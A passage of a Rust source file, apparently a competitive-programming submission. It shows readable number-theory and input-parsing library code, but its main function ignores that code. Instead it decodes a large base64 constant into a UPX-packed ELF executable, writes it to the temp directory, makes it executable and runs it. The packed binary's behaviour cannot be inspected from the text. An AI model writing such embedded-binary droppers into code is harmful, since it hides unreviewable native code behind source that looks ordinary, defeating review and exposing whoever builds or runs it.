dfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:$ty=$e],$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:$ty:ty;$($rest:tt)*)=>{$crate::define_enum_scan!{@endfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:$ty];$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:$ty:ty=$e:expr;$($rest:tt)*)=>{$crate::define_enum_scan!{@endfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:$ty=$e];$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:$ty:ty,$($rest:tt)*)=>{$crate::define_enum_scan!{@endfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:$ty],$($rest)*}};(@def$(#[$attr:meta])*$vis:vis enum$T:ident:$d:tt{$($p:pat=>$v:ident$({$([$f:ident:$($spec:tt)*])*})?,)*})=>{$(#[$attr])*$vis enum$T{$($v$({$($f:$crate::define_enum_scan!(@field_ty$($spec)*)),*})?),*}impl IterScan for$T{type Output=Self;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self>{let tag=$crate::define_enum_scan!(@tag_expr$d,iter);match tag{$($p=>{$($(let$f=$crate::scan_value!(iter=&mut*iter,$($spec)*);)*)?Some($T::$v$({$($f),*})?)}),*_=>None,}}}};($(#[$attr:meta])*$vis:vis enum$T:ident:raw{$($body:tt)*})=>{$crate::define_enum_scan!{@variant([$(#[$attr])*]$vis$T raw)[]$($body)*}};($(#[$attr:meta])*$vis:vis enum$T:ident:$d:ty{$($body:tt)*})=>{$crate::define_enum_scan!{@variant([$(#[$attr])*]$vis$T$d)[]$($body)*}};}#[derive(Debug,Copy,Clone)]pub enum Usize1{}impl IterScan for Usize1{type Output=usize;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>{<usize as IterScan>::scan(iter)?.checked_sub(1)}}#[derive(Debug,Copy,Clone)]pub struct CharWithBase(pub char);impl MarkedIterScan for CharWithBase{type Output=usize;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{Some((<char as IterScan>::scan(iter)?as u8-self.0 as u8)as usize)}}#[derive(Debug,Copy,Clone)]pub enum Chars{}impl IterScan for Chars{type Output=Vec<char>;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>{Some(iter.next()?.chars().collect())}}#[derive(Debug,Copy,Clone)]pub struct CharsWithBase(pub char);impl MarkedIterScan for CharsWithBase{type Output=Vec<usize>;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{Some(iter.next()?.chars().map(|c|(c as u8-self.0 as u8)as usize).collect())}}#[derive(Debug,Copy,Clone)]pub enum Byte1{}impl IterScan for Byte1{type Output=u8;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>{let bytes=iter.next()?.as_bytes();assert_eq!(bytes.len(),1);Some(bytes[0])}}#[derive(Debug,Copy,Clone)]pub struct ByteWithBase(pub u8);impl MarkedIterScan for ByteWithBase{type Output=usize;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{Some((<char as IterScan>::scan(iter)?as u8-self.0)as usize)}}#[derive(Debug,Copy,Clone)]pub enum Bytes{}impl IterScan for Bytes{type Output=Vec<u8>;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>{Some(iter.next()?.bytes().collect())}}#[derive(Debug,Copy,Clone)]pub struct BytesWithBase(pub u8);impl MarkedIterScan for BytesWithBase{type Output=Vec<usize>;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{Some(iter.next()?.bytes().map(|c|(c-self.0)as usize).collect())}}#[derive(Debug,Copy,Clone)]pub struct Collect<T,B=Vec<<T as IterScan>::Output>>where T:IterScan,B:FromIterator<<T as IterScan>::Output>{size:usize,_marker:PhantomData<fn()->(T,B)>}impl<T,B>Collect<T,B>where T:IterScan,B:FromIterator<<T as IterScan>::Output>{pub fn new(size:usize)->Self{Self{size,_marker:PhantomData}}}impl<T,B>MarkedIterScan for Collect<T,B>where T:IterScan,B:FromIterator<<T as IterScan>::Output>{type Output=B;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{repeat_with(| |<T as IterScan>::scan(iter)).take(self.size).collect()}}#[derive(Debug,Copy,Clone)]pub struct SizedCollect<T,B=Vec<<T as IterScan>::Output>>where T:IterScan,B:FromIterator<<T as IterScan>::Output>{_marker:PhantomData<fn()->(T,B)>}impl<T,B>IterScan for SizedCollect<T,B>where T:IterScan,B:FromIterator<<T as IterScan>::Output>{type Output=B;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>{let size=usize::scan(iter)?;repeat_with(| |<T as IterScan>::scan(iter)).take(size).collect()}}#[derive(Debug,Copy,Clone)]pub struct Splitted<T,P>where T:IterScan{pat:P,_marker:PhantomData<fn()->T>}impl<T,P>Splitted<T,P>where T:IterScan{pub fn new(pat:P)->Self{Self{pat,_marker:PhantomData}}}impl<T>MarkedIterScan for Splitted<T,char>where T:IterScan{type Output=Vec<<T as IterScan>::Output>;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{let mut iter=iter.next()?.split(self.pat);Some(from_fn(| |<T as IterScan>::scan(&mut iter)).collect())}}impl<T>MarkedIterScan for Splitted<T,&str>where T:IterScan{type Output=Vec<<T as IterScan>::Output>;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{let mut iter=iter.next()?.split(self.pat);Some(from_fn(| |<T as IterScan>::scan(&mut iter)).collect())}}impl<T,F>MarkedIterScan for F where F:Fn(&str)->Option<T>{type Output=T;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>{self(iter.next()?)}}}
pub use self::prime_factors::{divisors,prime_factors,prime_factors_flatten};
mod prime_factors{use super::{BarrettReduction,gcd,miller_rabin_with_br};fn find_factor(n:u64)->Option<u64>{let br=BarrettReduction::<u128>::new(n as u128);if miller_rabin_with_br(n,&br){return None;}let m=1u64<<((63-n.leading_zeros())/5);let sub=|x:u64,y:u64|x.abs_diff(y);let mul=|x:u64,y:u64|br.rem(x as u128*y as u128)as u64;for c in 12..{let f=|x:u64|(br.rem(x as u128*x as u128)+c)as u64;let(mut x,mut y,mut r,mut g,mut k,mut ys)=(0,2,1,1,0,0);while g==1{x=y;for _ in 0..r{y=f(y);}while r>k&&g==1{ys=y;let mut q=1;for _ in 0..m.min(r-k){y=f(y);q=mul(q,sub(x,y));}g=gcd(q,n);k+=m;}r<<=1;}if g==n{g=1;while g==1{ys=f(ys);g=gcd(sub(x,ys),n);}}if g<n{return Some(g);}}unreachable!();}pub fn prime_factors_flatten(mut n:u64)->Vec<u64>{if n==0{return vec![];}let k=n.trailing_zeros();let mut res=vec![2;k as usize];n>>=k;if n!=1{let mut c=vec![n];while let Some(n)=c.pop(){if let Some(m)=find_factor(n){c.push(m);c.push(n/m);}else{res.push(n);}}}res.sort_unstable();res}pub fn prime_factors(n:u64)->Vec<(u64,u32)>{let mut res=Vec::new();for a in prime_factors_flatten(n){if let Some((p,len))=res.last_mut()&&p==&a{*len+=1;continue;}res.push((a,1));}res}pub fn divisors(n:u64)->Vec<u64>{let mut d=vec![1u64];for(p,c)in prime_factors(n){let k=d.len();let mut acc=1;for _ in 0..c{acc*=p;for i in 0..k{d.push(d[i]*acc);}}}d.sort_unstable();d}}
pub use self::barrett_reduction::{BarrettReduction,Barrettable};
mod barrett_reduction{use super::{One,Zero};use std::ops::{Add,Mul,Sub};#[derive(Debug,Clone,Copy)]pub struct BarrettReduction<T>{m:T,im:T}impl<T>BarrettReduction<T>where T:Barrettable{pub fn new(m:T)->Self{Self{m,im:T::inv_mod_approx(m)}}pub const fn new_with_im(m:T,im:T)->Self{Self{m,im}}pub const fn get_mod(&self)->T{self.m}pub fn div_rem(&self,a:T)->(T,T){T::barrett_reduce(a,self.m,self.im)}pub fn div(&self,a:T)->T{self.div_rem(a).0}pub fn rem(&self,a:T)->T{self.div_rem(a).1}}pub trait Barrettable:Sized+Copy+PartialOrd+Zero+One+Add<Output=Self>+Sub<Output=Self>+Mul<Output=Self>{fn inv_mod_approx(m:Self)->Self;fn div_approx(self,im:Self)->Self;fn barrett_reduce(self,m:Self,im:Self)->(Self,Self){if m==Self::one(){return(self,Self::zero());}let q=self.div_approx(im);let r=self-q*m;if m<=r{(q+Self::one(),r-m)}else{(q,r)}}}impl Barrettable for u32{fn inv_mod_approx(m:Self)->Self{!0/m}fn div_approx(self,im:Self)->Self{((self as u64*im as u64)>>32)as u32}}impl Barrettable for u64{fn inv_mod_approx(m:Self)->Self{!0/m}fn div_approx(self,im:Self)->Self{((self as u128*im as u128)>>64)as u64}}impl Barrettable for u128{fn inv_mod_approx(m:Self)->Self{!0/m}fn div_approx(self,im:Self)->Self{const MASK64:u128=0xffff_ffff_ffff_ffff;let au=self>>64;let ad=self&MASK64;let imu=im>>64;let imd=im&MASK64;let mut res=au*imu;let x=(ad*imd)>>64;let(x,c)=x.overflowing_add(au*imd);res+=c as u128;let(x,c)=x.overflowing_add(ad*imu);res+=c as u128;res+(x>>64)}}}
#[doc=" binary gcd"]pub fn gcd(mut a:u64,mut b:u64)->u64{if a==0{return b;}if b==0{return a;}let u=a.trailing_zeros();let v=b.trailing_zeros();a>>=u;b>>=v;let k=std::cmp::min(u,v);while a!=b{if a<b{std::mem::swap(&mut a,&mut b);}a-=b;a>>=a.trailing_zeros();}a<<k}
pub use self::miller_rabin::{miller_rabin,miller_rabin_with_br};
mod miller_rabin{use super::BarrettReduction;macro_rules!impl_test_mr{($name:ident,$ty:ty,$upty:ty)=>{fn$name(n:$ty,br:&BarrettReduction<$upty>,a:$ty)->bool{if br.rem(a as$upty)==0{return true;}let d=n-1;let k=d.trailing_zeros();let mut d=d>>k;let mut y={let mut a=a as$upty;let mut y:$upty=1;while d>0{if d&1==1{y=br.rem(y*a);}a=br.rem(a*a);d>>=1;}y as$ty};if y==1||y==n-1{true}else{for _ in 0..k-1{y=br.rem(y as$upty*y as$upty)as$ty;if y==n-1{return true;}}false}}};}impl_test_mr!(test_mr32,u32,u64);impl_test_mr!(test_mr64,u64,u128);#[doc=" http://miller-rabin.appspot.com/"]macro_rules!impl_mr{($name:ident,$test:ident,$ty:ty,$upty:ty,[$($th:expr,[$($a:expr),+]),+],|$n:ident,$br:ident|$last:expr)=>{fn$name($n:$ty,$br:&BarrettReduction<$upty>)->bool{$(if$n>=$th{return$($test($n,$br,$a))&&+})+$last}};}impl_mr!(mr32,test_mr32,u32,u64,[316349281,[2,7,61],49141,[11000544,31481107]],|n,br|test_mr32(n,br,921211727));impl_mr!(mr64,test_mr64,u64,u128,[585226005592931977,[2,325,9375,28178,450775,9780504,1795265022],7999252175582851,[2,123635709730000,9233062284813009,43835965440333360,761179012939631437,1263739024124850375],55245642489451,[2,4130806001517,149795463772692060,186635894390467037,3967304179347715805],350269456337,[2,141889084524735,1199124725622454117,11096072698276303650],1050535501,[4230279247111683200,14694767155120705706,16641139526367750375]],|n,br|mr32(n as u32,&BarrettReduction::<u64>::new(n)));pub fn miller_rabin_with_br(n:u64,br:&BarrettReduction<u128>)->bool{if n.is_multiple_of(2){return n==2;}if n.is_multiple_of(3){return n==3;}if n.is_multiple_of(5){return n==5;}if n.is_multiple_of(7){return n==7;}if n<121{n>2}else{mr64(n,br)}}pub fn miller_rabin(n:u64)->bool{miller_rabin_with_br(n,&BarrettReduction::<u128>::new(n as u128))}}
pub use self::zero_one::{One,Zero};
mod zero_one{pub trait Zero:Sized{fn zero()->Self;#[inline]fn is_zero(&self)->bool where Self:PartialEq{self==&Self::zero()}#[inline]fn set_zero(&mut self){*self=Self::zero();}}pub trait One:Sized{fn one()->Self;#[inline]fn is_one(&self)->bool where Self:PartialEq{self==&Self::one()}#[inline]fn set_one(&mut self){*self=Self::one();}}macro_rules!impl_zero_one{($({$Trait:ident$method:ident$($t:ty)*,$e:expr})*)=>{$($(impl$Trait for$t{fn$method()->Self{$e}})*)*};}impl_zero_one!({Zero zero u8 u16 u32 u64 usize i8 i16 i32 i64 isize u128 i128,0}{Zero zero f32 f64,0.}{One one u8 u16 u32 u64 usize i8 i16 i32 i64 isize u128 i128,1}{One one f32 f64,1.});}
}
fn main()->std::io::Result<()>{use std::{env::temp_dir,fs::File,io::Write,process::{exit,Command}};let e=temp_dir().join("binDED27664");let mut b=Vec::with_capacity(B.len()*8/6);let mut x=0;let mut t=vec![64;256];for i in 0..64{t[b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[i]as usize]=i as u8;}for(i,c)in B.iter().map(|&c|t[c as usize]).filter(|&c|c<64).enumerate(){x=match i%4{0=>c<<2,1=>{b.push(x|c>>4);c<<4}2=>{b.push(x|c>>2);c<<6}_=>{b.push(x|c);0}}}Write::write_all(&mut File::create(&e)?,&b)?;#[cfg(unix)]std::fs::set_permissions(&e,std::os::unix::fs::PermissionsExt::from_mode(0o755))?;exit(Command::new(&e).status()?.code().unwrap())}#[macro_export]macro_rules!code{($($t:tt)*)=>{}}const B:&[u8]=b"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